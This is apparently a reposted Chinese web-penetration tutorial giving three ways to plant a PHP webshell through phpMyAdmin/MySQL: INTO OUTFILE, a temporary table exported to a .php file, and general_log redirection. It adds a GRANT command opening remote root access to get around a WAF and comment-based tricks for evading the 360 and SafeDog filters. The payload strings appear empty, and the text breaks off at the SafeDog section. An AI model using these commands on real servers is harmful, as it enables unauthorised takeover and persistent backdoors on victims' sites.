web渗透【11】phpmyadmin写shell的三种方法 |
您所在的位置:网站首页 › shell的执行方式有哪些 › web渗透【11】phpmyadmin写shell的三种方法 |
查看phpMyAdmin能否自定义导出文件目录的权限 show global variables like "%secure%"; //查询secure_file_priv配置 secure_file_prive=null //不允许导入导出数据到目录 secure_file_priv=c:\\www //允许导入导出数据到指定目录 secure_file_priv='' //允许导入导出数据到任意目录 secure_file_priv="/" //允许导入导出数据到任意目录注:在my.ini、my.cnf、mysqld.cnf文件中找到secure_file_prive并将其值设置为""或"/",重启MySQL服务! (1)情况一: 导出WebShell主要条件: 1.Root数据库用户(root权限) 2.网站绝对路径(确定有写入权限) 3.magic_quotes_gpc:Off(关闭) 一句话导出shell: select '' into outfile 'c:\\phpstudy\\www\\90sec.php';(2)情况二: 1.Root数据库用户(root权限) 2.网站绝对路径(确定有写入权限) 3.magic_quotes_gpc:Off(开启) 创建数据表导出shell CREATE TABLE `mysql`.`user1` (`content` TEXT NOT NULL ); INSERT INTO `mysql`.`user1` (`content` ) VALUES (''); SELECT `content` FROM `user1` INTO OUTFILE 'C:\\phpStudy\\WWW\\xxx.php'; DROP TABLE IF EXISTS `user1`;(3)情况三:(日志备份获取shell) 1.Root数据库用户(root权限) 2.没有写入权限 3.magic_quotes_gpc:Off(关闭) show global variables like "%genera%"; //查询general_log配置 set global general_log='on'; //开启general log模式 SET global general_log_file='D:/phpStudy/WWW/cmd.php'; //设置日志文件保存路径 SELECT ''; //phpinfo()写入日志文件 set global general_log='off'; //关闭general_log模式1、执行第一步后,记住原始的log_file路径,便于以后还原 2、执行第二,三后,再用show global variables llike "%genera" 查看更改结果; 3、然后进行写php,关闭日志,OK。访问可以看到php被执行。 补充一: 当有WAF拦截的时候 我们可以尝试外链 这样提交的数据包不被WAF拦截 grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option; //开启MySQL外链 flush privileges; //刷新MySQL系统权限相关表这里的这些技巧是从别人那边收集过来的 感谢!!! 绕过360 (通过内联注释) select '' into /*!50001outfile*/ 'c:/phpstudy/www/bypass.php';绕过网站安全狗 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |